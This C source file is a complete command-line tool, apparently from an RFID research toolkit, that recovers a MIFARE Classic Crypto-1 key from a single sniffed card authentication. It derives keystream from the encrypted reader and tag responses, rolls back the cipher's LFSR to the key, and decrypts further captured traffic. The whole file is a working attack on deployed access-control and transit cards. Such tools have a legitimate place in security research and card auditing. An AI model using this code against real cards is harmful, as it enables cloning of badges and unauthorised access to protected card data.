#define __STDC_FORMAT_MACROS
#include <inttypes.h>
#include <stdbool.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include "crapto1/crapto1.h"
#include "util_posix.h"

int main(int argc, char *argv[]) {
    struct Crypto1State *revstate;
    uint64_t key;     // recovered key
    uint32_t uid;     // serial number
    uint32_t nt;      // tag challenge
    uint32_t nr_enc;  // encrypted reader challenge
    uint32_t ar_enc;  // encrypted reader response
    uint32_t at_enc;  // encrypted tag response
    uint32_t ks2;     // keystream used to encrypt reader response
    uint32_t ks3;     // keystream used to encrypt tag response

    printf("MIFARE Classic key recovery - based 64 bits of keystream\n");
    printf("Recover key from only one complete authentication!\n\n");

    if (argc < 6) {
        printf(" syntax: %s <uid> <nt> <{nr}> <{ar}> <{at}> [enc...]\n\n", argv[0]);
        return 1;
    }

    int encc = argc - 6;
    int enclen[encc];
    uint8_t enc[encc][120];

    sscanf(argv[1], "%x", &uid);
    sscanf(argv[2], "%x", &nt);
    sscanf(argv[3], "%x", &nr_enc);
    sscanf(argv[4], "%x", &ar_enc);
    sscanf(argv[5], "%x", &at_enc);
    for (int i = 0; i < encc; i++) {
        enclen[i] = strlen(argv[i + 6]) / 2;
        for (int i2 = 0; i2 < enclen[i]; i2++) {
            sscanf(argv[i + 6] + i2 * 2, "%2x", (unsigned int *)&enc[i][i2]);
        }
    }

    printf("Recovering key for:\n");

    printf("  uid: %08x\n", uid);
    printf("   nt: %08x\n", nt);
    printf(" {nr}: %08x\n", nr_enc);
    printf(" {ar}: %08x\n", ar_enc);
    printf(" {at}: %08x\n", at_enc);

    for (int i = 0; i < encc; i++) {
        printf("{enc%d}: ", i);
        for (int i2 = 0; i2 < enclen[i]; i2++) {
            printf("%02x", enc[i][i2]);
        }
        printf("\n");
    }

    // Generate lfsr succesors of the tag challenge
    printf("\nLFSR succesors of the tag challenge:\n");
    uint32_t p64 = prng_successor(nt, 64);
    printf("  nt': %08x\n", p64);
    printf(" nt'': %08x\n", prng_successor(p64, 32));

    // Extract the keystream from the messages
    printf("\nKeystream used to generate {ar} and {at}:\n");
    ks2 = ar_enc ^ p64;
    ks3 = at_enc ^ prng_successor(p64, 32);
    printf("  ks2: %08x\n", ks2);
    printf("  ks3: %08x\n", ks3);

    revstate = lfsr_recovery64(ks2, ks3);

    // Decrypting communication using keystream if presented
    if (argc > 6) {
        printf("\nDecrypted communication:\n");
        uint8_t ks4;
        int rollb = 0;
        for (int i = 0; i < encc; i++) {
            printf("{dec%d}: ", i);
            for (int i2 = 0; i2 < enclen[i]; i2++) {
                ks4 = crypto1_byte(revstate, 0, 0);
                printf("%02x", ks4 ^ enc[i][i2]);
                rollb += 1;
            }
            printf("\n");
        }
        for (int i = 0; i < rollb; i++)
            lfsr_rollback_byte(revstate, 0, 0);
    }

    lfsr_rollback_word(revstate, 0, 0);
    lfsr_rollback_word(revstate, 0, 0);
    lfsr_rollback_word(revstate, nr_enc, 1);
    lfsr_rollback_word(revstate, uid ^ nt, 0);
    crypto1_get_lfsr(revstate, &key);
    printf("\nFound Key: [%012" PRIx64 "]\n\n", key);
    crypto1_destroy(revstate);
    return 0;
}
